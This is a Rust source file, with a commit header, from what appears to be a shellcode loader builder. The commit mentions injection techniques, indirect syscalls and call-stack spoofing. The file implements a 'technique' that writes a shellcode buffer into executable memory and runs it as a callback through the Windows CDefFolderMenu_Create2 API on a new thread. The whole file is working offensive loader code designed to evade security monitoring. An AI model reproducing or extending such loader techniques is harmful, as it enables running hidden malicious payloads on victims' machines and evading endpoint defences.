5b225e6a35
ntCRT, ntAPC, ntFIBER and ntEarlyCascade now take an exec_mode param. syscall mode emits plain indirect syscalls. callstack mode routes the calls through the spoof crate from Dyncvoke. Every dyncvoke URL in the tree points at git.smukx.site/smukx now (templates, sideload.rs, build_context.rs, development.md). Same for the credit links and the clone URL in README.
76 lines
2.5 KiB
Rust
76 lines
2.5 KiB
Rust
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
|
|
|
pub struct CdefFolderMenu;
|
|
|
|
impl Technique for CdefFolderMenu {
|
|
fn meta(&self) -> &'static TechniqueMeta { &CDEF_FOLDER_MENU_META }
|
|
|
|
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
|
ctx.set_template("callbackExec");
|
|
|
|
let helpers = r#"
|
|
unsafe extern "system" fn cdef_invoke(param: *mut core::ffi::c_void) -> u32 {
|
|
unsafe {
|
|
// CoInitializeEx is process-global per-thread. Capture the HRESULT
|
|
// so we only pair with CoUninitialize when *we* did the initialization.
|
|
// RPC_E_CHANGED_MODE means the host already initialized the apartment
|
|
// in a different model. We proceed without uninitializing it.
|
|
let hr: i32 = windows_sys::Win32::System::Com::CoInitializeEx(
|
|
std::ptr::null(),
|
|
windows_sys::Win32::System::Com::COINIT_APARTMENTTHREADED as u32,
|
|
);
|
|
const S_OK: i32 = 0;
|
|
const S_FALSE: i32 = 1;
|
|
const RPC_E_CHANGED_MODE: i32 = 0x80010106u32 as i32;
|
|
let we_initialized = hr == S_OK || hr == S_FALSE;
|
|
if !we_initialized && hr != RPC_E_CHANGED_MODE {
|
|
return 0;
|
|
}
|
|
|
|
let callback: windows_sys::Win32::UI::Shell::LPFNDFMCALLBACK =
|
|
Some(std::mem::transmute(param));
|
|
let mut ppcm: *mut std::ffi::c_void = std::ptr::null_mut();
|
|
windows_sys::Win32::UI::Shell::CDefFolderMenu_Create2(
|
|
std::ptr::null(),
|
|
std::ptr::null_mut(),
|
|
0,
|
|
std::ptr::null(),
|
|
std::ptr::null_mut(),
|
|
callback,
|
|
0,
|
|
std::ptr::null(),
|
|
&mut ppcm,
|
|
);
|
|
|
|
if we_initialized {
|
|
windows_sys::Win32::System::Com::CoUninitialize();
|
|
}
|
|
}
|
|
0
|
|
}
|
|
"#;
|
|
ctx.set_replacement("{{INJECTION_HELPERS}}", helpers.to_string());
|
|
|
|
let body = r#"
|
|
let addr = syscall_alloc_exec(&vec);
|
|
if addr.is_null() { return; }
|
|
let thread = windows_sys::Win32::System::Threading::CreateThread(
|
|
std::ptr::null(),
|
|
0,
|
|
Some(cdef_invoke),
|
|
addr,
|
|
0,
|
|
std::ptr::null_mut(),
|
|
);
|
|
if !thread.is_null() {
|
|
windows_sys::Win32::System::Threading::WaitForSingleObject(thread, 0xFFFFFFFF);
|
|
windows_sys::Win32::Foundation::CloseHandle(thread);
|
|
}
|
|
"#;
|
|
ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string());
|
|
Ok(())
|
|
}
|
|
}
|
|
|
|
pub use super::super::CDEF_FOLDER_MENU_META;
|